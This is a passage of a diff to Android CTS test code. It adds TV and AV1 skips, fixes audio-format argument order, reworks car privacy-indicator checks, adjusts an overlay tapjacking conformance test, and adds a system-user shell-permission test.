+++ b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
@@ -508,12 +508,15 @@ public class MediaCodecListTest extends AndroidTestCase {
}
for (String mime: info.getSupportedTypes()) {
CodecCapabilities caps = info.getCapabilitiesForType(mime);
- boolean isVideo = (caps.getVideoCapabilities() != null);
+ // it advertised this mime, it should have appropriate capabilities
+ assertNotNull("codec=" + info.getName()
+ + " no capabilities for advertised mime=" + mime, caps);
+ AudioCapabilities acaps = caps.getAudioCapabilities();
+ boolean isAudio = (acaps != null);
- if (isVideo) {
+ if (!isAudio) {
continue;
}
- AudioCapabilities acaps = caps.getAudioCapabilities();
int countMin = acaps.getMinInputChannelCount();
int countMax = acaps.getMaxInputChannelCount();
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTest.java b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
index 33358b655b2..9a6078ce7e9 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
@@ -2866,8 +2866,8 @@ public class MediaCodecTest extends AndroidTestCase {
if (audioCaps != null) {
format = MediaFormat.createAudioFormat(
type,
- audioCaps.getMaxInputChannelCount(),
- audioCaps.getSupportedSampleRateRanges()[0].getLower());
+ audioCaps.getSupportedSampleRateRanges()[0].getLower(),
+ audioCaps.getMaxInputChannelCount());
if (info.isEncoder()) {
format.setInteger(MediaFormat.KEY_BIT_RATE, AUDIO_BIT_RATE);
}
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
index 23d40e31443..7106a9a59d2 100644
--- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
@@ -387,13 +387,6 @@ public class MediaMetadataRetrieverTest extends AndroidTestCase {
}
public void testID3v240ExtHeader() {
- if(!ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R)) {
- // The fix for b/154357105 was released in mainline release 30.09.007.01
- // See https://android-build.googleplex.com/builds/treetop/googleplex-android-review/11174063
- if (TestUtils.skipTestIfMainlineLessThan("com.google.android.media", 300900701)) {
- return;
- }
- }
setDataSourceFd("sinesweepid3v24ext.mp3");
assertEquals("Mime type was other than expected",
"audio/mpeg",
@@ -1073,12 +1066,20 @@ public class MediaMetadataRetrieverTest extends AndroidTestCase {
public void testGetImageAtIndexAvif() throws Exception {
if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return;
+ if (!MediaUtils.canDecodeVideo("AV1", 1920, 1080, 30)) {
+ MediaUtils.skipTest("No AV1 codec for 1080p");
+ return;
+ }
testGetImage("sample.avif", 1920, 1080, "image/avif", 0 /*rotation*/,
1 /*imageCount*/, 0 /*primary*/, false /*useGrid*/, true /*checkColor*/);
}
public void testGetImageAtIndexAvifGrid() throws Exception {
if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return;
+ if (!MediaUtils.canDecodeVideo("AV1", 512, 512, 30)) {
+ MediaUtils.skipTest("No AV1 codec for 512p");
+ return;
+ }
testGetImage("sample_grid2x4.avif", 1920, 1080, "image/avif", 0 /*rotation*/,
1 /*imageCount*/, 0 /*primary*/, true /*useGrid*/, true /*checkColor*/);
}
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
index 4b5608a4592..be2b0665202 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
@@ -15,8 +15,6 @@
*/
package android.media.cts;
-import static android.Manifest.permission.MEDIA_CONTENT_CONTROL;
-
import android.media.AudioManager;
import android.platform.test.annotations.AppModeFull;
import com.android.compatibility.common.util.ApiLevelUtil;
@@ -107,8 +105,9 @@ public class MediaSessionManagerTest extends InstrumentationTestCase {
// The permission can be held only on S+
if (!MediaUtils.check(sIsAtLeastS, "test invalid before Android 12")) return;
- getInstrumentation().getUiAutomation()
- .adoptShellPermissionIdentity(Manifest.permission.MEDIA_CONTENT_CONTROL);
+ getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+ Manifest.permission.MEDIA_CONTENT_CONTROL,
+ Manifest.permission.MANAGE_EXTERNAL_STORAGE);
MediaKeyEventSessionListener keyEventSessionListener = new MediaKeyEventSessionListener();
mSessionManager.addOnMediaKeyEventSessionChangedListener(
@@ -141,8 +140,9 @@ public class MediaSessionManagerTest extends InstrumentationTestCase {
// The permission can be held only on S+
if (!MediaUtils.check(sIsAtLeastS, "test invalid before Android 12")) return;
- getInstrumentation().getUiAutomation()
- .adoptShellPermissionIdentity(Manifest.permission.MEDIA_CONTENT_CONTROL);
+ getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+ Manifest.permission.MEDIA_CONTENT_CONTROL,
+ Manifest.permission.MANAGE_EXTERNAL_STORAGE);
MediaKeyEventDispatchedListener keyEventDispatchedListener =
new MediaKeyEventDispatchedListener();
diff --git a/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java b/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
index 69ec1583936..6fdf9553518 100644
--- a/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
+++ b/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
@@ -183,6 +183,10 @@ public class ThumbnailUtilsTest {
@Test
public void testCreateImageThumbnailAvif() throws Exception {
if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return;
+ if (!MediaUtils.canDecodeVideo("AV1", 1920, 1080, 30)) {
+ MediaUtils.skipTest("No AV1 codec for 1080p");
+ return;
+ }
final File file = stageFile("sample.avif", new File(mDir, "cts.avif"));
for (Size size : TEST_SIZES) {
diff --git a/tests/tests/mediaparser/OWNERS b/tests/tests/mediaparser/OWNERS
index bebc5edf045..b91d177f4ac 100644
--- a/tests/tests/mediaparser/OWNERS
+++ b/tests/tests/mediaparser/OWNERS
@@ -1,3 +1,3 @@
# Bug component: 817235
-andrewlewis@google.com
-aquilescanta@google.com
+# go/android-fwk-media-solutions for info on areas of ownership.
+include platform/frameworks/av:/media/janitors/media_solutions_OWNERS
diff --git a/tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java b/tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java
index a6a858ae325..0f739dbf8b1 100644
--- a/tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java
@@ -16,6 +16,7 @@
package android.opengl.cts;
+import static android.opengl.GLES20.GL_ALPHA;
import static android.opengl.GLES30.GL_ARRAY_BUFFER;
import static android.opengl.GLES30.GL_BUFFER_MAP_POINTER;
import static android.opengl.GLES30.GL_COLOR_ATTACHMENT0;
@@ -24,8 +25,6 @@ import static android.opengl.GLES30.GL_FRAMEBUFFER;
import static android.opengl.GLES30.GL_FRAMEBUFFER_COMPLETE;
import static android.opengl.GLES30.GL_MAP_READ_BIT;
import static android.opengl.GLES30.GL_NO_ERROR;
-import static android.opengl.GLES30.GL_R8;
-import static android.opengl.GLES30.GL_RED;
import static android.opengl.GLES30.GL_RGBA;
import static android.opengl.GLES30.GL_STATIC_DRAW;
import static android.opengl.GLES30.GL_TEXTURE_2D;
@@ -105,7 +104,7 @@ public class ByteBufferTest extends GlTestBase {
glGenTextures(1, textureHandles);
int textureHandle = textureHandles.get(0);
glBindTexture(GL_TEXTURE_2D, textureHandle);
- glTexImage2D(GL_TEXTURE_2D, 0, GL_R8, 2, 2, 0, GL_RED, GL_UNSIGNED_BYTE, texelData);
+ glTexImage2D(GL_TEXTURE_2D, 0, GL_ALPHA, 2, 2, 0, GL_ALPHA, GL_UNSIGNED_BYTE, texelData);
assertEquals(glGetError(), GL_NO_ERROR);
glDeleteTextures(1, textureHandles);
}
diff --git a/tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt b/tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt
index 5e932c30bdc..cfd62fb01fd 100644
--- a/tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt
+++ b/tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt
@@ -49,6 +49,7 @@ import org.junit.After
import org.junit.Assert.assertFalse
import org.junit.Assert.assertThat
import org.junit.Assert.assertTrue
+import org.junit.Assume.assumeFalse
import org.junit.Before
import org.junit.Rule
import org.junit.Test
@@ -119,8 +120,12 @@ class AppHibernationIntegrationTest {
packageManager.getApplicationInfo(APK_PACKAGE_NAME_S_APP, 0 /* flags */)
val stopped = ((ai.flags and ApplicationInfo.FLAG_STOPPED) != 0)
assertTrue(stopped)
- openUnusedAppsNotification()
+ if (hasFeatureTV()) {
+ // Skip checking unused apps screen because it may be unavailable on TV
+ return
+ }
+ openUnusedAppsNotification()
waitFindObject(By.text(APK_PACKAGE_NAME_S_APP))
}
}
@@ -129,6 +134,9 @@ class AppHibernationIntegrationTest {
@Test
fun testPreSVersionUnusedApp_doesntGetForceStopped() {
+ assumeFalse(
+ "TV may have different behaviour for Pre-S version apps",
+ hasFeatureTV())
withUnusedThresholdMs(TEST_UNUSED_THRESHOLD) {
withApp(APK_PATH_R_APP, APK_PACKAGE_NAME_R_APP) {
// Use app
@@ -154,6 +162,9 @@ class AppHibernationIntegrationTest {
@AppModeFull(reason = "Uses application details settings")
@Test
fun testAppInfo_RemovePermissionsAndFreeUpSpaceToggleExists() {
+ assumeFalse(
+ "Remove permissions and free up space toggle may be unavailable on TV",
+ hasFeatureTV())
withDeviceConfig(NAMESPACE_APP_HIBERNATION, "app_hibernation_enabled", "true") {
withApp(APK_PATH_S_APP, APK_PACKAGE_NAME_S_APP) {
// Open app info
diff --git a/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt b/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt
index da554097481..b1688d24dcc 100644
--- a/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt
+++ b/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt
@@ -190,6 +190,13 @@ fun hasFeatureWatch(): Boolean {
PackageManager.FEATURE_WATCH)
}
+fun hasFeatureTV(): Boolean {
+ return InstrumentationRegistry.getTargetContext().packageManager.hasSystemFeature(
+ PackageManager.FEATURE_LEANBACK) ||
+ InstrumentationRegistry.getTargetContext().packageManager.hasSystemFeature(
+ PackageManager.FEATURE_TELEVISION)
+}
+
private fun expandNotificationsWatch(uiDevice: UiDevice) {
with(uiDevice) {
wakeUp()
diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
index 2d3610b8e6e..a9535622a85 100644
--- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
+++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
@@ -149,6 +149,11 @@ class AutoRevokeTest {
// Verify
assertPermission(PERMISSION_DENIED)
+
+ if (hasFeatureTV()) {
+ // Skip checking unused apps screen because it may be unavailable on TV
+ return
+ }
openUnusedAppsNotification()
waitFindObject(By.text(supportedAppPackageName))
@@ -161,6 +166,9 @@ class AutoRevokeTest {
@AppModeFull(reason = "Uses separate apps for testing")
@Test
fun testUnusedApp_uninstallApp() {
+ assumeFalse(
+ "Unused apps screen may be unavailable on TV",
+ hasFeatureTV())
withUnusedThresholdMs(3L) {
withDummyAppNoUninstallAssertion {
// Setup
diff --git a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
index 6869889e68b..ee2ab83cb4d 100644
--- a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
+++ b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
@@ -19,6 +19,7 @@ package android.os.cts
import android.companion.CompanionDeviceManager
import android.content.pm.PackageManager
import android.content.pm.PackageManager.FEATURE_AUTOMOTIVE
+import android.content.pm.PackageManager.FEATURE_LEANBACK
import android.content.pm.PackageManager.FEATURE_COMPANION_DEVICE_SETUP
import android.content.pm.PackageManager.PERMISSION_GRANTED
import android.net.MacAddress
@@ -87,6 +88,7 @@ class CompanionDeviceManagerTest : InstrumentationTestCase() {
pm.hasSystemFeature(FEATURE_COMPANION_DEVICE_SETUP)
}
private val isAuto: Boolean by lazy { pm.hasSystemFeature(FEATURE_AUTOMOTIVE) }
+ private val isTV: Boolean by lazy { pm.hasSystemFeature(FEATURE_LEANBACK) }
private fun isShellAssociated(macAddress: String, packageName: String): Boolean {
val userId = context.userId
@@ -218,6 +220,10 @@ class CompanionDeviceManagerTest : InstrumentationTestCase() {
@AppModeFull(reason = "Companion API for non-instant apps only")
@Test
fun testRequestNotifications() {
+ // Skip this test for Android TV due to NotificationAccessConfirmationActivity only exists
+ // in Settings but not in TvSettings for Android TV devices (b/199224565).
+ assumeFalse(isTV)
+
installApk("--user ${UserHandle.myUserId()} $TEST_APP_APK_LOCATION")
startApp(TEST_APP_PACKAGE_NAME)
diff --git a/tests/tests/os/src/android/os/cts/FileObserverTest.java b/tests/tests/os/src/android/os/cts/FileObserverTest.java
index e2e9c9d6709..1ae870622a1 100644
--- a/tests/tests/os/src/android/os/cts/FileObserverTest.java
+++ b/tests/tests/os/src/android/os/cts/FileObserverTest.java
@@ -345,11 +345,8 @@ public class FileObserverTest extends AndroidTestCase {
+ "] expected: " + expectedEvents + " Actual: " + actualEvents;
int j = 0;
for (int i = 0; i < expected.length; i++) {
- while (expected[i] != moveEvents[j].event) {
- j++;
- if (j >= moveEvents.length)
- fail(message);
- }
+ while (j < moveEvents.length && expected[i] != moveEvents[j].event) j++;
+ if (j >= moveEvents.length) fail(message);
j++;
}
}
diff --git a/tests/tests/os/src/android/os/cts/StrictModeTest.java b/tests/tests/os/src/android/os/cts/StrictModeTest.java
index 3fa3dac2b27..0b5ed0d56f0 100644
--- a/tests/tests/os/src/android/os/cts/StrictModeTest.java
+++ b/tests/tests/os/src/android/os/cts/StrictModeTest.java
@@ -874,6 +874,9 @@ public class StrictModeTest {
assertViolation("Tried to access visual service " + WM_CLASS_NAME,
() -> configContext.getSystemService(WindowManager.class));
+ // Make the ViewConfiguration to be cached so that we won't call WindowManager
+ ViewConfiguration.get(configContext);
+
assertNoViolation(() -> ViewConfiguration.get(configContext));
mInstrumentation.runOnMainSync(() -> {
diff --git a/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java b/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java
index fed6b4441c3..b961efbf4ca 100644
--- a/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java
+++ b/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java
@@ -20,6 +20,8 @@ import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
import android.app.Instrumentation;
+import android.content.ActivityNotFoundException;
+import android.content.pm.PackageManager;
import android.net.Uri;
import android.os.image.DynamicSystemClient;
import android.platform.test.annotations.AppModeFull;
@@ -29,6 +31,7 @@ import androidx.test.filters.SmallTest;
import androidx.test.runner.AndroidJUnit4;
import org.junit.After;
+import org.junit.Assume;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -40,6 +43,12 @@ public class DynamicSystemClientTest implements DynamicSystemClient.OnStatusChan
private boolean mUpdated;
private Instrumentation mInstrumentation;
+ private static final String DSU_PACKAGE_NAME = "com.android.dynsystem";
+
+ private PackageManager getPackageManager() {
+ return mInstrumentation.getContext().getPackageManager();
+ }
+
public void onStatusChanged(int status, int cause, long progress, Throwable detail) {
mUpdated = true;
}
@@ -63,6 +72,13 @@ public class DynamicSystemClientTest implements DynamicSystemClient.OnStatusChan
mUpdated = false;
try {
dSClient.start(uri, 1024L << 10);
+ } catch (ActivityNotFoundException e) {
+ try {
+ getPackageManager().getPackageInfo(DSU_PACKAGE_NAME, 0);
+ } catch (PackageManager.NameNotFoundException ignore) {
+ Assume.assumeNoException(ignore);
+ }
+ throw e;
} catch (SecurityException e) {
fail();
}
@@ -90,6 +106,13 @@ public class DynamicSystemClientTest implements DynamicSystemClient.OnStatusChan
Uri uri = Uri.parse("https://www.google.com/").buildUpon().build();
try {
dSClient.start(uri, 1024L << 10);
+ } catch (ActivityNotFoundException e) {
+ try {
+ getPackageManager().getPackageInfo(DSU_PACKAGE_NAME, 0);
+ } catch (PackageManager.NameNotFoundException ignore) {
+ Assume.assumeNoException(ignore);
+ }
+ throw e;
} catch (SecurityException e) {
fail();
}
diff --git a/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java b/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java
index d013b93ecac..c4c66564c36 100644
--- a/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java
@@ -24,7 +24,9 @@ import android.content.Context;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.os.Process;
+import android.os.UserHandle;
import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SystemUserOnly;
import android.util.Log;
import androidx.test.InstrumentationRegistry;
@@ -64,7 +66,10 @@ public class ShellPermissionTest {
final Set<String> blacklist = new HashSet<>(Arrays.asList(BLACKLISTED_PERMISSIONS));
final PackageManager pm = sContext.getPackageManager();
- final String[] pkgs = pm.getPackagesForUid(Process.SHELL_UID);
+ int uid = UserHandle.getUid(UserHandle.myUserId(), UserHandle.getAppId(Process.SHELL_UID));
+ final String[] pkgs = pm.getPackagesForUid(uid);
+ Log.d(LOG_TAG, "SHELL_UID: " + Process.SHELL_UID + " myUserId: "
+ + UserHandle.myUserId() + " uid: " + uid + " pkgs.length: " + pkgs.length);
assertNotNull("No SHELL packages were found", pkgs);
assertNotEquals("SHELL package list had 0 size", 0, pkgs.length);
String pkg = pkgs[0];
@@ -73,9 +78,18 @@ public class ShellPermissionTest {
assertNotNull("No permissions found for " + pkg, packageInfo.requestedPermissions);
for (String permission : packageInfo.requestedPermissions) {
- Log.d(LOG_TAG, "SHELL as " + pkg + " uses permission " + permission);
+ Log.d(LOG_TAG, "SHELL as " + pkg + " uses permission " + permission + " uid: "
+ + uid);
assertFalse("SHELL as " + pkg + " contains the illegal permission " + permission,
blacklist.contains(permission));
}
}
+
+ @Test
+ @SystemUserOnly
+ @AppModeFull(reason = "Instant apps cannot read properties of other packages. Also the shell "
+ + "is never an instant app, hence this test does not matter for instant apps.")
+ public void testBlacklistedPermissionsForSystemUser() throws Exception {
+ testBlacklistedPermissions();
+ }
}
diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
index 1f1d4598db0..901cc3504ac 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
@@ -143,6 +143,11 @@ abstract class BasePermissionTest {
return UiAutomatorUtils.waitFindObject(selector, timeoutMillis)
}
+ protected fun waitFindObjectOrNull(selector: BySelector): UiObject2? {
+ waitForIdle()
+ return UiAutomatorUtils.waitFindObjectOrNull(selector)
+ }
+
protected fun waitFindObjectOrNull(selector: BySelector, timeoutMillis: Long): UiObject2? {
waitForIdle()
return UiAutomatorUtils.waitFindObjectOrNull(selector, timeoutMillis)
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index eb94a785f16..8f701f3cc36 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -84,6 +84,7 @@ abstract class BaseUsePermissionTest : BasePermissionTest() {
const val ALLOW_FOREGROUND_BUTTON_TEXT = "grant_dialog_button_allow_foreground"
const val ALLOW_FOREGROUND_PREFERENCE_TEXT = "permission_access_only_foreground"
const val ASK_BUTTON_TEXT = "app_permission_button_ask"
+ const val ALLOW_ONE_TIME_BUTTON_TEXT = "grant_dialog_button_allow_one_time"
const val DENY_BUTTON_TEXT = "grant_dialog_button_deny"
const val DENY_AND_DONT_ASK_AGAIN_BUTTON_TEXT =
"grant_dialog_button_deny_and_dont_ask_again"
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt
index 86b9c4e1bb1..7929b2e4307 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt
@@ -25,7 +25,6 @@ import com.android.compatibility.common.util.SystemUtil
import org.junit.After
import org.junit.Assume.assumeFalse
import org.junit.Before
-import org.junit.Ignore
import org.junit.Test
private const val APP_LABEL_1 = "CtsMicAccess"
@@ -93,6 +92,7 @@ class PermissionHistoryTest : BasePermissionHubTest() {
waitFindObject(By.text(SHOW_SYSTEM))
pressBack()
+ pressBack()
}
@Test
@@ -110,7 +110,6 @@ class PermissionHistoryTest : BasePermissionHubTest() {
pressBack()
}
- @Ignore("b/186656826#comment27")
@Test
fun testCameraTimelineWithMultipleApps() {
openMicrophoneApp(INTENT_ACTION_1)
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
index 1b3627f2228..b26e536cc1e 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
@@ -68,23 +68,25 @@ class PermissionTapjackingTest : BaseUsePermissionTest() {
assertAppHasPermission(ACCESS_FINE_LOCATION, false)
requestAppPermissionsForNoResult(ACCESS_FINE_LOCATION) {}
- val buttonCenter = waitFindObject(By.text(
+ val foregroundButtonCenter = waitFindObject(By.text(
getPermissionControllerString(ALLOW_FOREGROUND_BUTTON_TEXT))).visibleCenter
- val dialogBounds = waitFindObject(By.res(
- "com.android.permissioncontroller", "grant_dialog")).visibleBounds
- val messageBottom = waitFindObject(By.res(
- "com.android.permissioncontroller", "permission_message")).visibleBounds.bottom
+ val oneTimeButton = waitFindObjectOrNull(By.text(
+ getPermissionControllerString(ALLOW_ONE_TIME_BUTTON_TEXT)))
+ // If one-time button is not available, fallback to deny button
+ val overlayButtonBounds = oneTimeButton?.visibleBounds
+ ?: waitFindObject(By.text(getPermissionControllerString(
+ DENY_BUTTON_TEXT))).visibleBounds
// Wait for overlay to hide the dialog
context.sendBroadcast(Intent(ACTION_SHOW_OVERLAY)
.putExtra(EXTRA_FULL_OVERLAY, false)
- .putExtra(DIALOG_LEFT, dialogBounds.left)
- .putExtra(DIALOG_TOP, dialogBounds.top)
- .putExtra(DIALOG_RIGHT, dialogBounds.right)
- .putExtra(MESSAGE_BOTTOM, messageBottom))
+ .putExtra(DIALOG_LEFT, overlayButtonBounds.left)
+ .putExtra(DIALOG_TOP, overlayButtonBounds.top)
+ .putExtra(DIALOG_RIGHT, overlayButtonBounds.right)
+ .putExtra(MESSAGE_BOTTOM, overlayButtonBounds.bottom))
waitFindObject(By.res("android.permission3.cts.usepermission:id/overlay"))
- tryClicking(buttonCenter)
+ tryClicking(foregroundButtonCenter)
}
private fun tryClicking(buttonCenter: Point) {
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt
index 930f5a52170..26fe615fbef 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt
@@ -236,7 +236,7 @@ class PermissionTest23 : BaseUsePermissionTest() {
assertAppHasPermission(android.Manifest.permission.READ_CONTACTS, false)
}
- @Test(timeout = 120000)
+ @Test(timeout = 180000)
@FlakyTest
fun testNoResidualPermissionsOnUninstall() {
Assume.assumeFalse(packageManager.arePermissionsIndividuallyControlled())
diff --git a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
index 7f25e8c10db..b5172988ef5 100644
--- a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
+++ b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
@@ -169,7 +169,7 @@ class CameraMicIndicatorsPermissionTest {
if (isTv) {
assertTvIndicatorsShown(useMic, useCamera, useHotword)
} else if (packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
- assertCarIndicatorsShown(useMic, useCamera)
+ assertCarIndicatorsShown(useMic, useCamera, useHotword)
} else {
uiDevice.openQuickSettings()
assertPrivacyChipAndIndicatorsPresent(useMic, useCamera)
@@ -194,26 +194,42 @@ class CameraMicIndicatorsPermissionTest {
}
}
- private fun assertCarIndicatorsShown(useMic: Boolean, useCamera: Boolean) {
+ private fun assertCarIndicatorsShown(useMic: Boolean, useCamera: Boolean, useHotword: Boolean) {
// Ensure the privacy chip is present (or not)
- val chipFound = isChipPresent()
- if (useMic || useCamera) {
+ var chipFound = false
+ try {
+ eventually {
+ val privacyChip = uiDevice.findObject(By.res(PRIVACY_CHIP_ID))
+ assertNotNull("view with id $PRIVACY_CHIP_ID not found", privacyChip)
+ privacyChip.click()
+ chipFound = true
+ }
+ } catch (e: Exception) {
+ // Handle more gracefully below
+ }
+
+ if (useMic) {
assertTrue("Did not find chip", chipFound)
- } else {
+ } else if (useHotword || useCamera) {
assertFalse("Found chip, but did not expect to", chipFound)
return
}
eventually {
- if (useMic) {
- val appView = uiDevice.findObject(UiSelector().textContains(micLabel))
+ if (useCamera || useHotword) {
+ // There should be no microphone dialog when using hot word and/or camera
+ val micLabelView = uiDevice.findObject(UiSelector().textContains(micLabel))
+ assertFalse("View with text $micLabel found, but did not expect to",
+ micLabelView.exists())
+ val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL))
+ assertFalse("View with text $APP_LABEL found, but did not expect to",
+ appView.exists())
+ } else if (useMic) {
+ val micLabelView = uiDevice.findObject(UiSelector().textContains(micLabel))
+ assertTrue("View with text $micLabel not found", micLabelView.exists())
+ val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL))
assertTrue("View with text $APP_LABEL not found", appView.exists())
}
- if (useCamera) {
- // There is no camera indicator in Cars.
- }
- val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL))
- assertTrue("View with text $APP_LABEL not found", appView.exists())
}
}
@@ -268,4 +284,4 @@ class CameraMicIndicatorsPermissionTest {
private fun waitForIdle() =
uiAutomation.waitForIdle(IDLE_TIMEOUT_MILLIS, TIMEOUT_MILLIS)
-} \ No newline at end of file
+}
diff --git a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
index 6db2d4c59c3..8122b4dfb26 100644
--- a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
@@ -37,6 +37,7 @@ import androidx.test.runner.AndroidJUnit4;
import org.junit.After;
import org.junit.Before;
+import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -99,6 +100,7 @@ public class SettingsPanelTest {
// Check correct package is opened
+ @Ignore
@Test
public void internetPanel_correctPackage() {
launchInternetPanel();
@@ -136,6 +138,7 @@ public class SettingsPanelTest {
assertThat(currentPackage).isEqualTo(mSettingsPackage);
}
+ @Ignore
@Test
public void internetPanel_doneClosesPanel() {
// Launch panel
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStorePlacementTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStorePlacementTest.java
index aed220d8e61..c6768abbac9 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStorePlacementTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStorePlacementTest.java
@@ -221,8 +221,9 @@ public class MediaStorePlacementTest {
Optional.of("Android/media/android.provider.cts/foo"), null));
assertFalse(updatePlacement(uri,
Optional.of("Android/media/com.example/foo"), null));
- assertFalse(updatePlacement(uri,
+ assertTrue(updatePlacement(uri,
Optional.of("DCIM"), null));
+ assertFalse(updatePlacement(uri, Optional.of("Android/media"), null));
}
@Test
@@ -232,12 +233,13 @@ public class MediaStorePlacementTest {
final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
mExternalImages, "image/jpeg");
- assertFalse(updatePlacement(uri,
+ assertTrue(updatePlacement(uri,
Optional.of("Android/media/android.provider.cts/foo"), null));
assertFalse(updatePlacement(uri,
Optional.of("Android/media/com.example/foo"), null));
assertTrue(updatePlacement(uri,
Optional.of("DCIM"), null));
+ assertFalse(updatePlacement(uri, Optional.of("Android/media"), null));
}
@Test
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 45f69c1fc11..675106fb276 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -26,6 +26,7 @@
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<!-- For FileIntegrityManager -->
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
diff --git a/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
